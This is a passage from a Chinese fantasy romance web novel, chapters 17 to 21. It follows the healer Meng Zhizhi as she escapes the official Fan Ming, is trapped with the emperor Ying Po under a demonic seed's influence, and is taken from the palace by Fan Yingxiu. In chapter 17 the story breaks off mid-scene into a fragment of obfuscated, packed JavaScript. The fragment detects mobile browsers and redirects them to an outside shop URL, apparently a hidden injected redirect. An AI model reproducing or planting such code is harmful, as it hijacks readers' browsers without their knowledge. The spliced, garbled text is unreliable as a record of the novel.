孟枝枝道:“奴婢一直呆在洗尘殿从未出去过,第一次伺候贵人,惟恐出了岔子。” 樊鸣挑起她的下巴,道:“你已经做得很好了,孟枝枝。” 孟枝枝假装听不懂,道:“大人,您醉了吗?” 难道不是她? 樊鸣看她眸中有懵懂,少女用纤细的胳膊撑着地面,一直保持跪姿,她白嫩的小臂隐在衣纱之下,十分瘦弱,看似要坚持不住。 樊鸣觉得头有些晕,道:“给我倒些醒酒茶来。” 孟枝枝道:“奴婢这就去。” 一碗醒酒茶下肚,樊鸣觉得神清清爽了几分。 她将手放置在铜盆中,打湿了帕子,又拧干净,替樊鸣擦拭着脸庞。 他觉得自己有些头晕,抓住了孟枝枝的胳膊,道:“你做了什么?” 孟枝枝道:“大人,您喝醉了。如果累了,就休息罢。” 樊鸣看见那张俏丽的脸在他眼前旋转,渐渐,他的手卸了力,躺倒在床榻上。 孟枝枝赶紧将那帕子一丢,逃出门去。 她连忙找到冥漆,道:“我不能再用这个身份,我被人发现了。” 冥漆道:“那我送你出宫?” 孟枝枝摇了摇头,道:“师父还在皇宫里。” 冥漆道:“枝枝,万一孟医仙不在宫内呢?你这样留在皇宫里,迟早会被抓住的。” 孟枝枝快速思考着,道:“我不信师父会丢下我不管。我听到他们说国师,净念会不会就是那个大国师?现在樊鸣放出消息说我怀了龙嗣,他们这是想逼我现身。你说师父不现身,是不是也找不到我在哪里?” 冥漆看她仿佛着了魔一般,道:“你清醒一点。孟医仙的信已经说得很明白了,她不知道什么缘故消失,但她要我照顾你,这意味着什么,你还不知道吗?” 孟枝枝难以接受,道:“难道要我放弃寻找师父?” 冥漆知道她受了很大的打击,道:“也许小桃仙说得不错,孟医仙那么厉害,能救人也能救妖怪,被仙人看中带走也是有可能的。为今之计,枝枝你要保住你自己啊。” 孟枝枝道:“是,你说的是对的。” 她几乎心力交瘁,这般逃亡的生活,她早就厌倦了。 她道:“我现在应该等小桃仙的消息,我回去别院,我等着师父来寻我。” 她始终不信师父会离她而去,况且千纸鹤告诉她的消息就是师父还在这宫中。如果她逃出宫外,也会被缉拿,茫茫人海,师父就更找不到她。师父知道她在别院,一定会来找她。倘若师父被他们抓住,她也能在第一时间里去救师父。 冥漆道:“枝枝!” 孟枝枝掉转方向,朝桥头奔去。 迷雾散去,破烂的别院现在眼前。 她推门而入,失魂落魄。 赢破正在庭中,一见她来,全身的血液沸腾了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958189|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟枝枝看了他一眼,就回到了西厢房里,躺在床上,将被子盖住自己的头。 赢破推门而入,走了进去,就看见她躺在床上。 他一掀开被子,就看见她满脸泪痕,道:“你受了谁的欺负?” 孟枝枝侧过脸,蜷缩着身躯,道:“你出去,我现在没心情跟你说话。” 她的肩膀在颤抖,无助又单薄的身体。 这是他头一次看见她的脆弱。 见她回来,他心中冒出一丝欣喜。但他心知,她并不是为了他才回来。 难道是她师父出了什么事? 孟枝枝无声地抽噎着,只听见身后一空。 那烦人的鬼皇帝走了。 从窗外传来一阵歌声,是赢破正在哼着她教的那只咒歌。 她的枕头上又一滴泪花绽放。 一夜竟这么过去,她不知不觉中睡着了。 她起身,屋内空荡荡,一个人都没有。 她推开房门,赢破正站在离她房门不远处,也不知道他站了多久。 他不会站了一夜吧? 孟枝枝很快打消这个念头,她在想什么呢,脑子真的哭昏了。 赢破道:“教我法术。” 孟枝枝搓了搓脸,道:“我教的那些,你都会了?” 赢破点头。 说罢,他展示了出来,地上陡然长出了一颗枣树,他熟练地将鲜枣变成了咒枣,又接了咒水。 他手里捧着那碧玉瓶,指尖已经烧焦,黢黑一片,不知在背后练习了多少遍。 孟枝枝道:“我学的都是治病救人之术,再多的教不了你。” 她只想找个理由搪塞他。 赢破道:“那我就学治病救人。” 孟枝枝疑惑道:“你要学治病救人?” 赢破道:“恩”。 孟枝枝道:“你的体质根本无法使用救人之术,强行使用,你也使不出来,掌握这最基础的,已经够用了。” 她所言不假,虽然这世间对鬼邪记载颇少,但能知道的是鬼邪天生治愈力量强,见赢破这一身治愈的血肉就能知道。至于鬼邪治病救人的事,那更是为所未闻。 她修的是医道,就算没有仙门正统那么厉害,但她修炼的也是正道,她怎么会懂鬼邪如何学习治病救人之道? 赢破又点了下头。 二人无言,孟枝枝继续在树下练起了剑招。她将满腔的情绪都化在了剑气里。 她不知道,樊鸣一醒来,就满皇宫地寻找她。 之桃跪在地上,道:“樊大人,我真的不知道那个人就是孟芷,要是知道,我一定第一个揭发她。请樊大人恕罪啊!” 樊鸣看着这跪了满院子的宫女,对人道:“一个都不要放过,给我严刑拷问。” 宫女们一个个被拖了下去。 樊鸣又看向桌案那张画像,经过昨晚一夜,他已经将孟芷的模样刻在了心中。 他现在都还能感受到少女那纤细的身体。 那个在他眼前摔倒的少女,有着一双明亮的眼睛,令人难以忘记。 “大人,困了就睡罢。”她缱绻的声音仿佛还在他耳边回响。 他抚摸着扳指,一圈又一圈转动。 18. 第 18 章 别院来了人,孟枝枝躲进了西厢房中。 俗话说,最危险的地方就是最安全的地方。 她想,他们肯定不会这么快发现自己就藏在这里。 果不其然,别院的人来去匆匆,查了她这院子,她也趁机躲到另一间屋子里,暂时没有暴露出踪影。 但今日有所不同,别院中来了许多的将士。 她这次不敢在屋里呆着,直接找了一颗隐蔽的树,躲了上去。 樊鸣走进了那西厢房中,知道这是孟芷曾呆的地方,他的眼神中不由多了几分打量。 屋内只有一张床榻,一个桌案,一个板凳,还有那贴了满墙的黄符纸。 比起她曾和孟慕华居住的宫殿,此时显得太过简陋,看得出她没有长留在此处的打算。 一只麻雀突然飞了进来,在窗台处啄着一颗红枣。 他走上前,雀儿受惊飞走,他拿起那红枣放在鼻下轻闻。 一位将士道:“大人,没有看见孟芷的踪影。” 樊鸣听闻,将那红枣揣进了怀中,踏步走了出去。 他来到赢破的房中,见他手里也捏着一颗咒枣,道:“陛下,孟芷失踪了。” 赢破眼皮微掀了一下。 樊鸣道:“我前几日见过她,她装作宫女,伺候了我一晚。” 赢破的眸中燃出一朵红色的幽火,扯了扯嘴角,道:“原来她死了又活了,你们倒替孤摆清了嫌疑。” 樊鸣自顾自地道:“那孟芷为我斟酒,酒醉后还替我擦身,我闻见她身上带着一股清香的枣甜味,确实是个可人儿。” 赢破袖下的肌肉一瞬僵硬。 樊鸣道:“陛下也中意那孟芷?” 赢破道:“用过。”少年恶劣的表情,流露出几分好暇以待。 樊鸣手指上转动的扳指一停,道:“看来陛下不怎么会爱人,孟芷现在可能怀有龙嗣,也要逃离陛下身边,陛下似乎对她并不怎么温柔。” 赢破道:“她既是你们送进来,孤要怎么对待就怎么对待,用得着你在这里置喙?” 樊鸣道:“陛下,你知道女子深爱一个人会如何?女子如果深爱一个人,便会甘愿为他奉献一切,为他生儿育女,哪怕明知自己会死,也要顾全对方。我听钱喜说,当初是孟芷执意要求来侍奉陛下,孟慕华早就请辞离去。离去的那天,孟芷下跪给她师父磕头,舍弃了师父,也要留下陪伴陛下。如今看来,陛下伤了她一份真情,实在可惜。” 赢破指尖微颤。 樊鸣道:“就是不知道孟芷现在是不是对陛下还有那么一丝仰慕?” 他那双欲说还休的眼睛里藏着深深的蛊惑,语气几分喑哑。 孟芷察觉到人渐渐离开了别院,又等了好一会儿,她才从树上下来。 她一看别院,阴气深重,还有股紫色的邪气充盈在空气中。 她心中不明,四处查探。 她喊了一声,“赢破。” 无人应答。 难道他们趁此机会对小皇帝下了毒手?可依照小皇帝那个性子,怎么会不反抗?而她也没有听见任何打斗的声音。 她目光转移到赢破所在的房间里,她轻轻推开了门。 一进屋内,光线突然变得很暗。 孟枝枝狼顾狐疑地靠近房屋中心,突然听屋外雷声轰鸣了一下,门嘭地一声被关上。 浓郁的邪气压得她喘不过气来。 她小心翼翼地迈出脚步,手里捏着咒枣,警惕周围是否埋下陷阱。 屋里非常安静,她缓慢移动,转角之处散发出微弱黄光。 她慢慢潜伏,发现挡在她面前的有一道屏风。 那屏风前被微弱的烛火照亮,很小一簇,屏风上倒映着很模糊的光影。 她蹲下身子,侧过身,缓缓地、缓缓地探出头。 她与赢破四目相对。 他的嘴被戴上了嘴套,跪在绣着金线鸳鸯的大红棉被上,棉被一侧又有两套被折叠的红被。 他上半身赤裸着,墨色长发向下垂落,也遮掩不住苍白的肌肤。他宽肩窄背,劲瘦的腰肢,而两只手被高高吊在空中。 衣服脱了一半,挡住了下身,让人不由把目光落到他的小腹,那处苍白的肌肤光滑,白得发光,露出的人鱼线凸显有力。 孟枝枝突然有点不敢靠前,只用了一颗咒枣,将塞着他嘴上的嘴套和绑着两手的绳子去掉。 嘴和手得到松展,赢破还跪在原地不动,像是已经被吊麻了。 他的眼睛里有湿润的碎光落下,这副唇红齿白、狼狈不堪的样子仿佛被人糟蹋过似的。 孟枝枝道:“他们对你做了什么?” 赢破双眸黑如墨染,微微喘气,道:“你过来帮我穿下衣服。” 孟枝枝依然怀疑,道,“你确定你什么事都没有吗?” 赢破眼皮半垂,目光沉沉,徐徐开口道:“没有。” 孟枝枝扫视了整个屋内,什么东西都没有,赢破看着神智还清醒,那么,这般浓郁的邪气是从哪里来的? 她心里微定,开始缓慢移动脚步,双手伸了过去。 “你要是敢瞎动一下,我就打死你。” 赢破闻到她身上香甜的枣香味,心情平静,闭上了眼睛道:“恩。我不动。” 孟枝枝埋头,将他身上的衣服拉起,赢破缓缓睁开眼,目光落到她乌黑的秀发,光洁的额头。 她睫毛弯长,露出认真的表情,很小心地不触碰他发麻的双手,勉强将衣服给他套了个七七八八。 她一抬头,发现赢破正在看她。 她侧着头,“你为什么一直盯着我看?” 赢破嗤道:“怎么,看不得你?” 孟枝枝食指一指,刚说了一个“你”字,她眉头皱起,突然阿嚏一下,打了个大大的喷嚏。 赢破被喷满脸唾沫,脸色一黑。 她立马爬起身,道:“你不对劲。” 她刚站直身体,又觉得脑袋一晕,向后一倒掉回红被上。 她扶住额角,眼前的赢破一个变两个,两个变四个,道:“你到底做了什么?” 她赶紧从腰间的桂花香囊里取出咒水,给自己哐哐灌下。 她眼前的景象清晰了,但脸热得不行,像是整个身体内像被火灼烧。 她见赢破冷静地看着她,跪在那里动也不动。 她下意识道:“你被他们动了手脚?” 赢破目光冷清,一言不发。 她摇晃了一下发晕的脑袋,身体重得可怕,她双手无力支撑,只能倒在地上,离赢破尽量远一些。 她心中难以置信,露出半张绯红的脸颊,她的眼睛水汪汪地亮。咒枣被她攥在手里,在掌心里窝出深痕。< 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孟枝枝要气吐血了,道:“是,我想逃,是因为我看清楚了你这个人,狡猾阴险,自私自利!打一目五的时候,你敢说你不是想要借此机会铲除我?” 她越说越气,气得头痛。一头痛起来,身体不自然蜷缩在一起,很是痛苦。 真的好气啊。 她背过身去,吸着鼻子,给自己缓一口气。 她骂道:“白眼狼。” 赢破听着她的抽泣声,心里酸酸涨涨,他想说什么,又被狠塞回去,嘴里只蹦出几个字:“我也救了你,功过相抵。我动不了,不会伤你。” 孟枝枝深呼吸一口气,抽噎着,反正就是不肯转回去。 她现在一点都不想看见他。 他想说他动不了,是想表达他无辜,也是受害者,还是说他不会伤害她? 不管哪条都抵消不了“他又坑了她”的事实。 赢破额头泌出汗水,双唇红润,浑身也是滚烫,他身体也不好受。 他湿漉漉的眼睛盯着孟枝枝微微颤抖的背影,双唇欲言又止,脸上全是懊恼。 他道:“你快想想办法,帮帮我。” 孟枝枝突然转过身来,他脸上神情一松。 孟枝枝手拿起边上的喜鹊花生小被子,将自己一裹,裹成毛毛虫状,滚出去一圈,一下离赢破离得更远了。 赢破的脸瞬间黑沉沉的。 “你给我过来。” “我不。” 孟枝枝伸直了脖子,道:“你还没道歉呢!” “我道歉?我从来都是对的。” 孟枝枝道:“嘴硬!你辜负了我的信任,你就是错了。” 赢破此时想去掐她的嘴,奈何他动不了。 他脑仁发疼,道:“想想怎么出去。” 孟枝枝将被子裹到头。 她身体分明热得滚烫,但又极度怕冷,只能将头埋进整个被子里,只露出一张脸,鼻子一皱,哼了一声。 “这时候想起我来了?” 赢破汗水从下巴滴落,整个人摇摇欲坠,少年身躯显得意外单薄。 他喘气声很急,声音嘶哑:“种、子。” 孟枝枝一听,立马严肃道:“什么种子?” 19. 第 19 章 赢破目光不自然地垂落,他额头的汗水滴落在被面上。 “不知道。” 孟枝枝眉头蹙起,细细思考,什么样的种子能让人瞬间失去体力,又热又冷? 她大脑疯狂转动,回想她看过的医书。 这时,赢破轰然倒了下来。 他闭上沉重的眼皮,俊脸贴着被子。要不是看见他的身体略微有呼吸起伏,别人定会以为他死了。 孟枝枝努力地挪动身体,伸出一只手,掌心散出温和的光,她虽有灵力,但全身的窍口仿佛被什么堵住了,只能流出极其微薄的分量,勉强能探一探他的身体。 他没事,只是身体虚脱,使不上力。 这让她松了口气。 她撤回手的一瞬,赢破陡然睁开了眼睛。 二人四目相对。 真是怪尴尬的。 她分明还在生气来着。 孟枝枝不由将身体缩回被子里,像鹌鹑一样,仿佛再也不愿出来。 没过一会儿,黑色的小脑袋又幽幽地伸了出去。 “喂。” 她双手紧紧攒着被子,只露出两只水亮的眼睛,紧张地看着他。 “如果你愿意给我道歉,我就考虑一下,跟你一块想办法,怎么样?” 她眼周微红,中间水灵灵的眼瞳像小溪里的鹅卵石,随时都能冒出水来。 她手捏着被子捏得指腹发白,眼神中露出几分害怕的模样。 赢破莫名心里一化,就像雪遇见了初升的太阳,化得不动声色。 他胸口的气缓缓吐出。 他垂下眼眸,看不清神色。 “……错了。” 声如蚊音,第一个字甚至模糊不清。 孟枝枝整颗头冒了出来,侧过脸伸了过去,兴致勃勃道:“你说什么?” 赢破抿紧了双唇,唇角微微向下撇。 孟枝枝倒躺在被子上,放声大笑,嗓音被浑身的热气熏得微哑,但挡不住她的开心。 她知道要让赢破道歉,简直比杀了他还要让他难受。 她笑到赢破快受不了的时候,停下了。 她翻个身,眼睛亮亮的看着他,眼中露出狡黠的笑意。 “我听见了。” 赢破睫毛微颤,像羽扇一样缓缓上抬,他看向她,眼睛纯黑,深如漩涡,仿佛把天上的星星都吸了进去。 孟枝枝刚冲他笑,下一秒,五官皱了起来,又把脸蛋藏回了被子里。 周围的空气仿佛一瞬间变得更为寒冷,她的额头冒出冷汗,每口气呼出去都是白色的,双颊烫得通红。 她感觉自己置身在冰与火两重天,丹田之处有什么在焚烧,但自己像没有烟囱的房屋,火在房屋里烧,烟出不去。 赢破缓缓伸出了一只手,伸到她跟前。 “你做什么?”孟枝枝探出一双的疑惑眼睛。 赢破道:“孤的肉可以解除。” 他的肉可以解除……?解除什么? 孟枝枝反应了好一会儿才反应过来。 她道:“你要我吃你的肉?” “我不要。”孟枝枝膈应得不行。 赢破眼神无比沉静,“你有办法?” 孟枝枝道:“我暂时还没有,那再怎么样,我也不能吃你的肉啊。我又不是茹毛饮血的坏蛋!” 她想了想,又把自己的身体包裹得严严实实,警惕地看着他。 “我们得想其他办法!” 赢破听见她的话若有所思,将手缓缓收了回去。 “还有个办法。” 孟枝枝道:“什么?” 赢破看向她的眼神很是深究,她的眼睛宛如被火烧得焦点模糊,但内里像湖水一样清澈。 “陛下,你难道不想知道孟芷对你究竟还有没有感情吗?” 樊鸣站在他的跟前,他戴着沉重的嘴套,艰难地连头也抬不起来。 樊鸣的声音在他耳边回荡。 “种子可以放大一个人心底的欲望,催生更加浓烈的爱意。若她爱你,必会献身于你。到那时,接不接受她是你的事。” “若是你想杀了她,便放任她被欲望吞噬。只要你不满足她,她便是死路一条。” “可若是她不爱你,便能平安度过。只是陛下,你敢让一个永远无法拿捏住的人呆在身边?” 这些声音渐渐消失耳边。 赢破再度伸出手,伸向她绯红的脸颊。她的脸软嫩得像牛奶,他的指腹摩挲在她的脸蛋上,一下又一下,陷了进去。 她没有任何反抗,反而傻傻地看着他。 他目光灼灼地落到了她的唇瓣,那里饱满圆润,微微张开的模样,仿佛任人采撷的花瓣。 他低下头,垂睫缓缓往下,指腹也顺着皮肤,像勾子一样慢慢勾了下去,勾住了她滑嫩的下巴。 孟枝枝吞咽了一下唾沫,雪白的脖颈和锁骨随着起伏了一下。 他纯黑的眼睛凝视着,鼻尖萦绕着枣香,香甜得想让人咬下去。 不由分说,抬起她的下巴,整个人侵略性地靠过去。 孟枝枝下意识头低了下去。 很快的一瞬,他的唇瓣轻擦过发丝。 此举像打了他一个耳光,打得他浑身僵硬,耳朵轰鸣。 孟枝枝更加无法理解。 他说的办法就是一定要两个人有肌肤之亲才能结束? 那她更不愿意了。 他到底在想什么?这种事情难道是这么容易就做的?他难道就不膈应吗? 还是说只要为了活下去,他什么都做得。 所以她非常谢绝。 她缓缓缩回了被子,道:“你去找别人吧。” 赢破感觉自己整个人被抛弃在冰冷的空气中,胸腔中有些许窒息。 两个人虽四目相对,但她不曾靠近过他,就连之前为他穿衣都是小心翼翼,一点都不碰到他的皮肤,每个行为动作都克己复礼,说不出一点不得体。 一瞬间,他的心中突然有什么裂开了。 赢破才明白过来一个道理。 她既瞧不上他的肉,也不爱他。 真相大明。 他闭上了眼,嘴角浅勾起一抹嘲笑。细看,能看见他唇角极浅地颤抖,极度压抑着情绪。 等再次睁眼的时候,他不再看她,背过身去。 孟枝枝一头雾水。 他怎么反倒生气了? 她喊了他几声。 赢破似乎觉得被她烦到了,从她身下狠抽走了一层被子,把自己裹了起来,如她之前一样,滚得更远去了。 孟枝枝登时傻眼,“你怎 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她双唇微张道:“你生什么气啊?我不就说了一句让你去找别人,有必要这么自暴自弃?你想活下去,我也想活下去。别闹了,还是想想其他办法,能让我们两个人毫发无伤的办法,你看成吗?” 她用商量的语气跟他在说话,赢破的手一停滞,软绵绵地有些下不去。 她还是想让他活下去? 不,都是谎言。 她分明对他一丝感情都没有,为了活下去,还拿话来哄骗他,但身体却不由自主软了下来。 他死盯着自己的手,大有想将手砍断的架势。 这手,要它有何用! 孟枝枝赶紧伸出去手,顺其自然地将他的手拉了下来,她的掌心比他更加滚烫,仿佛能在他的手背上烫出个疤痕来。 见他没有反抗,她马上用被子把他的手盖了进去,用力地裹了裹,似乎想打消这剑拔弩张的气氛。 她道:“我想了半天想睡着了,也没想得出这是什么种子。” 她抿了抿双唇,“那就只有这一种结果了。那就是没被记载在药书上,也就是说不是人界或者修仙界的植物,而且我还没有见过。” 她忧心忡忡道:“难道是魔物?”她见过的魔物太少,这世上十几年没有出现过魔了,再说魔物这种东西一般与魔伴生,她能想得起的只有十七年前,妖魔肆侵人界,那时有种花,人人闻之而后怕,就算是仙门之人也感到棘手。 叫……天仙子! 可是天仙子不是已经被完全焚烧殆尽了,为什么又突然出现在这小小别院之中? 是谁带来的?钱喜?樊鸣? 如果说是钱喜,也不大可能,他一个凡人,虽然左右逢迎,但根据她两世对他的了解,他没有这样的本事。 那就是樊鸣带来的? 这更加可疑了,他区区一个人类为什么会有魔花的种子?难道他是魔? 赢破不自觉低语出口:“为什么?” 明明不喜欢他,还要说着让他活下来这种话? 想到这里,他的脸又冷了几分。 孟枝枝没听得请,道:“你刚刚说什么?” 赢破道:“没什么。” 他闭上眼,仿佛一整天的疲惫重重压在他的眼皮上。 他不想再与她交谈。 20. 第 20 章 赢破闭上眼,再也没挪动过,像是睡着了。 眼见着他像个死人一样自暴自弃,孟枝枝也懒得搭理他。 看他的模样知道这是天仙子的种子,也对天仙子无解,说不定早就被这样折磨过数次。他有一身稀有的血肉相互抗衡,她可没有。 听闻这天仙子开花,魔气入体,被魔气感染的人和妖怪只能等死。。 还好只是种子,她心中有了几分底气。 她盘腿而坐,念起了清心诀。 身上那滚烫的感觉变得轻了些,果然有效,道:“我将清心诀的咒语告诉你,用不用就看你自己。” 她闭着眼,持续地念了下去,也不管赢破怎么办,总之那是他的事,她已经仁至义尽。 室内一片静谧,只有蜡烛微爆的声音。 屏风上两团模糊的倒影,隔着一道光,光影随着烛火摇曳。 一个冷激灵。 孟枝枝猛地睁开了眼睛,她发现她竟然睡着了。她一起身,身上的红被子掉落,手中的咒枣也跟着滚落在被面上,弹出好几下才停住。 房屋内烛火已经熄灭,蜡冷得凝固成水滴状。 她缓了一会儿精神,才意识到一个问题。 赢破人不见了。 此时,一道千纸鹤飞进了她的掌心里,是小桃仙传给她的信。 ——枝枝,我探听到一些事情,你师父的失踪或许真的和千霄宫有关系,现在千霄宫不少弟子都下山捉妖了,你要不要来?如果来,传信来找我吧。 孟枝枝心潮澎湃。 师父有下落了! 她立马爬起身子,推门而出。 一推开门,就见庭院中站立着一个白衣少女,她转过脸来,头上白纱发带飘到脸前,与额中一颗红痣相互映衬,宛如一个慈眉善目的小菩萨。 白衣少女问道。 “你是谁?” 孟枝枝愣住,她没想到能在这里遇见樊盈绣。 这个让赢破魂牵梦绕了一辈子的女子。 上一世,当赢破还是个落魄皇帝,无论樊盈绣要他做什么,他都去做,予求予取,哪怕樊盈绣并不曾将他的好放在眼中。 她是樊相的掌上明珠,宫中所有人都要仰视着她。她自幼又长着一张清纯秀丽的脸,眉间的红痣如佛痣,平民之中常有人在额前点红痣,以示与佛法亲近,但樊盈绣的红痣是天生的,所以平民中有人背地里拜她为小菩萨。 贵族儿郎没有不爱慕她的。 小皇帝那时处境低微,性格又偏激暴虐,她看不上也是自然。 但自从赢破成为魔君之后,赢了和修仙界的第一场大战,便指名道姓要修仙界将樊盈绣献上来,那时的樊盈绣修炼略有所成,已经是千霄宫赫赫有名的“北冥仙子”。 后来,樊仙子就住进了皇宫。 修仙界向来仇视魔者,刻入骨髓的鄙视,樊盈绣对他避之不及,他百般讨樊盈绣的欢心,命万魔称呼她为夫人,许她在皇宫里自由走动,所到之处皆受人跪拜。 直到某一天,樊盈绣在城墙之上、众目睽睽之下亲自为坏蛋赢破披上战袍,这一幕广为流传。 这个结局可谓是皆大欢喜。 宫人们避着她讨论此事,其实她当时想的是“大可不必”,她已经不喜欢他了,这事她早想明白了。 强骗的瓜不甜,苦得很。 她还是喜欢吃甜瓜。 但是无人会信,毕竟她的确喜欢过,还曾老追在赢破后边跑,解释多了也没人信,她就不说了。 不过有樊盈绣在,赢破终于不缠着她,也不会半夜满身鲜血地突然出现她床头,吓她一跳。 她开始有闲心地天天在皇宫里养育她的枣树,一心就等着樊盈绣快点把赢破迷得七荤八素后,将她早日放出宫和师父团圆去。 他们二人一仙一魔,一白一黑,抛开修仙界和魔之间纠葛不谈,也是一对两情相悦的璧人。 原本她以为赢破夙愿得偿,该和樊盈绣成亲了,放她出宫了吧。 结果赢破不但不放,为了防止怕她逃跑,还将她困锁在宫中,最后利用她当了樊盈绣的替死鬼。 见过无情无义的,没见过赢破这样无耻到极点的。 她刚想答,樊盈绣已经跑了过来。 她双手放在身后,眼睛里都是对孟枝枝好奇。 她围着孟枝枝转了一圈。 “我记起你了,孟医官的徒弟孟芷,小名枝枝。” 孟枝枝道:“樊县主。” 樊盈绣自幼在庙里学佛法,在她及笄那年就被封为了修缘县主,还有自己的领地,实际权势比起赢破还大。 “你知道我?”樊盈绣很是新奇,她用葱白的手指勾住垂落的白纱条打着旋儿。 她打量人的目光,极容易让人感到压力,是王公贵族里那种固有的倨傲态度。 孟枝枝道:“知道一点点。” 樊盈绣见她一点也不露怯,轻哼了一声:“我倒是不怎么知道你,不过记得名字罢了。” 孟枝枝觉得有几分好笑。 樊盈绣还跟当初一样,嘴上一点都受不得占下风。 她垂眸,嘴角微微翘起。 樊盈绣瞥见,敏锐道:“你在笑什么?” 孟枝枝不经意转移话题,道:“想起了一些好玩的事,不是什么重要的事。敢问县主怎么来了此地,是来找陛下玩的吗?” 樊盈绣极少主动找赢破,能来一次也算是破天荒了。 樊盈绣双唇刚要一动,视线越过孟枝枝,喊道:“阿破。” 孟枝枝随即回头。 身后,赢破穿着一身白金长袍,头发上同样绑着白绸发带,少年清白如壁玉。 他站在树下,眼睛幽深地看了过来。 原来他早就没事,一早跑没影就是心心念念赶来见樊盈绣。 孟枝枝了然,往旁退了一步,不想打扰二人。 突然,胳膊被人搂住。 一看,正是樊盈绣搂住了她,只见她额心红痣潋滟,冲赢破道:“阿破,我要借她一用。但她现在是你的人,我自然要先来问问你。” 孟枝枝道:“我不是他的……” 赢破先一步,他眉头紧皱道:“你要带她出去?” 樊盈绣道:“对啊,她会医术,我一个千霄宫师姐受伤了,正愁要一个会医术的女孩子。”< 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赢破一听,嘴角扯出一个讥讽的笑。 他指尖往下,那桂花香囊掉落在地面上,他拿起脚往上使劲一踩,像是把所有的气都撒在了此物身上。 “你让孤爱惜,孤偏不。” 孟枝枝捏紧了拳头,看着那灰扑扑的香囊,她弯腰想要捡起。 一只脚踩在了上面,道:“赠给了孤的东西,那就是孤的,你无权带走。” 孟枝枝心中恨极,将手慢慢收了回去。 她眼不见,心不烦,转过身。 樊盈绣道:“阿破,我先走了,改日再来看你。” 她拉着孟枝枝就走。 赢破见她们走远,一拳砸在了树上,血顺着树干流了下来,一滴接着一滴淋在地面上。那香囊躺在地面上,皱巴巴的,上面的桂花纹路清晰可见,她说得没错,这东西伴她已久,她很是爱惜。 可那又怎样? 如此珍爱的东西说不要就不要了,她当真是无情。 从别院中出来,樊盈绣看了她一眼,孟枝枝脸色沉重。 樊盈绣叹了口气,一双桃花眼里都是同情,道:“你真可怜呢。阿破那个人没有心,不会把任何人放在心上。” 孟枝枝道:“陛下对县主很好。” 樊盈绣道:“那是自然。只要是我要的,阿破都会给我,这事如果你帮我办得好,我不光放你出宫,你要什么珍奇异宝,我都答应你。” 樊盈绣此举和樊鸣大相径庭,他们兄妹二人,一个要杀她,一个要利用她。 樊盈绣敢放下此言,说明她极渴望能在千霄宫的人面前获功。 她上一世拜入了千霄宫的门下,由此做出这样的举动,不难理解。 但答应得这么爽快,恐怕救的这人伤得不轻。 孟枝枝道:“县主,你刚刚说有个人受伤了,是伤在哪里了。患者目前是一个什么情况,年龄多大,怎么伤的,能不能仔细跟我讲一讲?” 21. 第 21 章 樊盈绣道:“你见了便知。” 孟枝枝缄默。 她对外宣称自己是她的侍女,因为樊家在朝廷权利强大,无人敢阻拦。 一出宫外,就有一辆由罕见白色琉璃做成的马车等着。而车前的马有八批,全是千里挑一的白马,甚至白马额前也点了红痣,看上去丰神俊朗,自带仙气。 孟枝枝心里感叹了一句财大气粗,是她养不起的马车。 这时,有人上前搀扶她上马车。 她坐在车内,车内檀香缭缭,樊盈绣倚着车璧,在专心看道德经。 车夫驾着马车,巨大的车轮缓缓驶过。 孟枝枝轻掀车帘,看皇都大道上百姓们一见白琉璃车纷纷行礼避让。 她道:“县主,你刚刚说千霄宫的弟子除妖被妖怪所伤,不知是被何种妖怪所伤?” 樊盈绣翻页的手指一停,道:“你倒是比我想象中的胆子大。” 孟枝枝道:“县主既然专门找我,想必早已知道我的身份。” 她记得樊盈绣一心想入仙门,樊鸣都知道的事情,她没道理毫不知情。 樊盈绣道:“这事,你不许对外说。” 马车在这时停下。 孟枝枝看了一眼车帘外,脸上颇为怪异道:“县主,这话怕是晚了点。” 樊盈绣附过身来。 马车停驻在皇都最华丽的客栈外面,一行穿着丹青仙衣的携剑人正和一众皇都卫军吵闹着什么,而店小二在拉架。 里里外外都是看热闹的人。 如今怕是整个皇都的人都知道这件事了。 樊盈绣一看,气从心中来,道:“樊鸣这孬货坏我事。” 她怒气冲冲地下了马车。 有人喊道:“樊县主来了,都快让开。” 孟枝枝跟着下了马车。 皇都卫军个个穿着黑色盔甲,齐齐对着樊盈绣抱拳道:“参见县主。” 樊盈绣道:“你们在这里干嘛?” 一位领头的卫军道:“县主,指挥使大人邀请众位仙人到府上做客,外面人多嘴杂,条件也不好,怕怠慢了众位仙人。” 在这群千霄宫弟子中,一位弟子毫不客气道:“我们下山来是有要事在身,没工夫去什么府上做客。我们已经拒绝你们了,还来纠缠,岂不放肆。” 她走到那一众千霄宫弟子前,冲卫军们道:“没听见众位师姐师兄们说的吗?还不快给我走开!” 领头卫军面露纠结道:“县主,恕卑职难以从命。” 他走过去,低语道:“指挥使大人说,各位仙人下山除妖之事甚大,万一让皇都城内百姓惊恐,恐怕滋生事端。指挥使还向宰相大人奏请了此事,请县主见谅。” 樊盈绣脸色一变,道:“父亲也知道了?” 领头卫军沉了下巴。 樊盈绣脸色难看了起来,转过身对千霄宫的诸位弟子道:“各位师兄师姐们,此处已被外人关注,想来会对大家出行有所不便。还是挪步去我家休憩,我会保证没有人敢打扰你们。” 她又道:“我已经请来了一位女医,梅珊师姐会在我家会得到最好的修养。” 一群千霄宫弟子面面相觑。 有人道:“但是云庭师兄还未回来,要不等大师兄回来再议?” “可是云庭师兄带领其他师兄师姐去除余妖,不知要几日才回得来,梅珊师姐的伤不能再拖了。” “这些日子我们都受县主的照顾,县主都说到这份上了,焉有不去的道理?” “但师父说我们不能和人界的势力有更多纠缠,这样不行。” “行了,如今梅珊师姐的伤是最重要的,若不是梅珊师姐为了护着我们,怎么会被妖怪所伤……你们一个两个平日里不好好修炼,拖了后腿,只得逗留此处,不然梅珊师姐不会重伤,我们早跟云庭师兄除完妖回山上了。” 此话一出,没人再提出反对建议了。 樊盈绣安慰道:“无事,我会留人在此处等云庭师兄和众位师姐师兄回来,一有消息便通知大家。” “马车已经准备好了,随时可以出发。” 一行人遂听安排。 樊盈绣嘱咐领头的卫军道:“别让此事走漏风声,否则我唯你是问。” “是。” 